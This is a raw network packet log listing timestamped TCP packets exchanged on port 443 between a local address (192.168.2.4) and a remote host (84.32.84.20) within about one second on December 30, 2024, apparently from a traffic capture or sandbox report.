Dec 30, 2024 21:42:44.099891901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099908113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099936008 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099942923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099966049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099983931 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.101393938 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.185724974 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.185743093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.185771942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.185784101 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.185808897 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.185837030 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.185961962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.185977936 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186007977 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.186013937 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186045885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.186067104 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.186300993 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186314106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186357021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.186367035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186408997 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.186655998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186671019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186702967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.186709881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.186727047 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.186748981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.187701941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.187717915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.187779903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.187787056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.187817097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188009977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188028097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188057899 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188062906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188086033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188101053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188436985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188458920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188488960 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188493967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188515902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188529015 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188631058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188644886 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188688040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188694000 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.188714027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.188731909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.190395117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.274561882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.274579048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.274627924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.274656057 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.274668932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.274837017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.274854898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.274893045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.274904966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.274914026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.274940968 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.275155067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.275168896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.275212049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.275218010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.275258064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.275496006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.275511026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.275546074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.275552988 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.275592089 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.275592089 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.276643038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.276657104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.276725054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.276731968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.276788950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.276886940 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.276911020 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.276940107 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.276946068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.276968956 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.276982069 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.277250051 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.277265072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.277311087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.277318001 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.277357101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.277601957 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.277616978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.277656078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.277662039 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.277678013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.277705908 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.278990984 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.363358974 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.363375902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.363483906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.363492966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.363547087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.363671064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.363684893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.363739967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.363744974 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.363989115 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.364006996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.364058971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.364067078 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.364422083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.364437103 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.364494085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.364501953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.365602016 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.365617990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.365672112 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.365679979 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.365850925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.365865946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.365905046 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.365911961 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.365942955 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.365955114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.366225958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.366240978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.366293907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.366300106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.366527081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.366544962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.366580009 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.366586924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.366616964 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.366642952 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.368029118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.452332020 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.452351093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.452462912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.452470064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.452527046 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.452591896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.452605963 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.452668905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.452676058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.452958107 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.452975035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.453035116 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.453039885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.453342915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.453357935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.453419924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.453428030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.454404116 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.454421997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.454464912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.454472065 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.454499960 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.454521894 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.454687119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.454701900 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.454751968 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.454758883 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.455040932 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.455060005 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.455095053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.455101013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.455157995 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.455182076 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.455363035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.455379009 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.455420017 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.455425978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.455437899 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.455466032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.457292080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.541213989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541239023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541327000 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.541337013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541383982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.541574001 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541589022 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541641951 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.541647911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541826963 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541845083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541882038 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.541887999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.541918039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.541944027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.542246103 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.542260885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.542319059 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.542326927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543212891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.543242931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543257952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543343067 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.543350935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543565989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543584108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543622971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.543628931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543654919 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.543678999 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.543950081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543962002 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.543999910 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.544006109 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.544025898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.544044971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.544177055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.544192076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.544239998 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.544246912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.546104908 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.546128035 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.630100012 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630116940 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630213022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.630220890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630326986 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630342960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630392075 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.630400896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630420923 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.630445957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.630727053 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630739927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.630810976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.630817890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.631084919 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.631099939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.631145954 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.631151915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.631165981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.631196976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.632065058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632081032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632159948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.632165909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632373095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632401943 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632431030 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.632438898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632455111 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.632481098 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.632711887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632725954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632787943 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.632795095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.632992983 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.633009911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.633038044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.633044958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.633069992 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.633091927 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.634917021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.719975948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.719990015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720088959 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.720097065 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720113039 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720129967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720166922 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.720172882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720196009 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.720221043 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.720274925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720288038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720341921 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.720347881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720443010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720458984 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720494032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.720501900 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.720520973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.720549107 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.721163034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721177101 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721271038 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.721277952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721460104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721477032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721517086 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.721524954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721555948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.721579075 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.721791029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721805096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.721863031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.721869946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.722091913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.722109079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.722161055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.722167969 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.723192930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.724637032 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.724678040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.808132887 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.808152914 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.808231115 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.808240891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.808626890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.808646917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.808681011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.808689117 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.808701038 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.808734894 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.808955908 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.808969975 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.809025049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.809031010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.809189081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.809549093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.809565067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.809621096 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.809628010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.809689045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.810837030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.810852051 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.810889959 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.810897112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.810919046 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.810939074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.811359882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.811376095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.811423063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.811429977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.811477900 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.811703920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.811722040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.811755896 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.811762094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.811814070 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.811949968 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.812027931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.812043905 CET	443	49744	84.32.84.20	192.168.2.4
